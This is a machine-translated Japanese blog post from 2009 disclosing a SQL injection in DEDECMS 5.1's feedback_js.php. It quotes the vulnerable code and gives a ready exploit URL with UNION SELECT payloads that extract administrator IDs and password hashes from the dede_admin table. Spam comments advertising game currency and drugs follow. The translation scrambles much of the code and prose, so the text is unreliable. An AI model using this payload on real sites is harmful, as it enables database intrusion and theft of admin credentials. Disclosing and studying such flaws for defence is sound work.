DEDECMS 5.1 feedback_js.phpエクスプロイト·エクスプロイト、DEDECMS、DEDECMS 5.1 feedback

DEDECMS 5.1 feedback_js.phpエクスプロイト

このエントリは2009年10月11日に投稿されました

著者：st0p Rainy'Fox
再現すると、ソースを明記してください：http://www.st0p.orgのhttp://bbs.erpangzi.com/を

この脆弱性が見つかり、Rainy'Foxは、場合にもこのオプションは、magic_quotes_gpc = offを使用できるようになります

脆弱性バージョン：記事マンション5.1
これはバックグラウンドで管理者アカウントを取得し、HASHを暗号化するために悪用される可能性があり、抜け穴がファイルプラス/ feedback_js.php、$ arcurlのフィルタリングされていないパラメータが存在する

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) 場合（空（$ arcID））
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; します$ row = $ dlist - > DSQL - >の場合のgetOne（ "`＃@ _ cache_feedbackurl `WHERE URL = '$ arcurl'からSELECT ID"）;
        / /ここで$ arcurlフィルタなし
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; IF（するis_array（$行））$ urlindex = $行['id']の;
       / /この結果は、$行にクエリの割り当て['id']を、我々は、次のオペレーティングにSQL文を構築することができます$ urlindexを置く
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; IF（（$ urlindex）空（$ arcID）&&空の）出口（）;
 / / $ arcIDが空である場合、または$ urlindex空の出口
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; 場合（空（$ arcID））$ WQ = "urlindex = '$ urlindex'";
 / / $ ArcIDだけで実装の結果を実行、次の操作に$ WQに代入されます上に、空になっています。
 = " aid=' $arcID ' " ; 他の$ WQ = "援助= '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $クエリ文字列= "`＃@ _フィードバック`ここで、$ WQとischeck SELECT * FROM = '1 'DTIME DESC順";
 Init ( ) ; Dlist $（） - >初期化;
 SetSource ( $querystring ) ; $ Dlist - > SetSource（$クエリ文字列）;
 ......

の使用を見て、ねえ、私は2つの組合を使用して閉じた

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = '労働組合は "を選択して"と1 = 2組合は、1,1,1、ユーザID、3,1,3,3は、pwd、1,1,3を選択、dede_feedbackから1 = 1組合を選択* 1 = 2と'' = '"dede_adminから'' =' dede_adminから1,1,1,1,1

ああ、彼が実際に言ったときテスト対象を見つけるためにこの男にもとRainy'Foxできるこのアイデアは、あまりにもタッチダウン....を通して...あまりにもひどい、本当にこれを達成する時に、magic_quotes_gpcの=で部門のネットワークは、プログラムの多くは、オフになっているPHPのmagic_quotes_gpcのでは、デフォルトで大混乱です。べきである、独自のエスケープ部分を呼びます...あなたは本当にPHPプログラムの悪夢であることを、達成することができます...

エクスプロイト、記事マンション、記事マンション5.1 、 feedback_js.php 、注射

·武道の詐欺を学ぶ

"DEDECMS 5.1 feedback_js.phpエクスプロイトの危険"への348応答

によってхостингで11月19日、2009 | 返信
zelo intiresno、hvala
によってAKfour 7上で12月1日 | 返信
私は前のタスクで謙虚今日ここに立って[URL = http://www.bawwgt.com] dofus kamas [/ URL]は、与えられた信頼に感謝し、我々の[URLが払った犠牲を心にとめ= http:/ / www.bawwgt.com]安いdofus kamas [/ URL]。私は社長に感謝[URL = http://www.bawwgt.com] dofusの電力平準化[/ URL] [URL = http://wwwへの彼のサービスのために。bawwgt.com] dofus kamas [/ URL]を、同様に彼がこの政権移行期間に示した寛容さと協力を購入しています。
によってwsewtoexgで12月3日 | 返信
CMvNTO honoyhhectcq 、[URL = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ URL]、[リンク= http://mdbdixbzaeau.com/] mdbdixbzaeau [/リンク]、 http://njofsuttytxm.com/
によってtedyで12月5日、2009 | 返信
私たちが知っている前に、[URL = http://www.bawwgt.com/fr] dofus kamas [/ URL] [URL = http://www.bawwgt.comのをDOFUS 2.0！12月2日はここになる前に、わずか34日/ FR] dofus kamas moins chers [/ URL]すべてのプレイヤーは完全に新しいDOFUS経験を発見するでしょう。[URL = http://www.bawwgt.com/fr] acheterデ·dofus kamas [/ URL]を使用してコンテンツでなければならないレポートやフォーラム。たとえそうであっても[URL = http://www.bawwgt.com/fr]アハトdofus kamas [/ URL]を、そこ¡ ¯常にフォーラムで私たちの親愛なるプレイヤーのいくつかのS。
でストラテラを購入する上で12月13日、2009 | 返信
これはクールなニュースです。ありがとうございます。
によってSeengartで12月14日 | 返信
ハァッ...有益なスタイル..
によってナターシャ·Web上の12月16、2009 | 返信
Vdaka ZA zaujimavyブログ
上ConradSimone -2010 8、2012 | 返信
まあこれは非常に興味深いものですindeed.Wouldはこれのもう少しを読むのが大好きです。あなたの記事で提供する貴重な情報をご覧いただけます。
シモーネによってコンラッド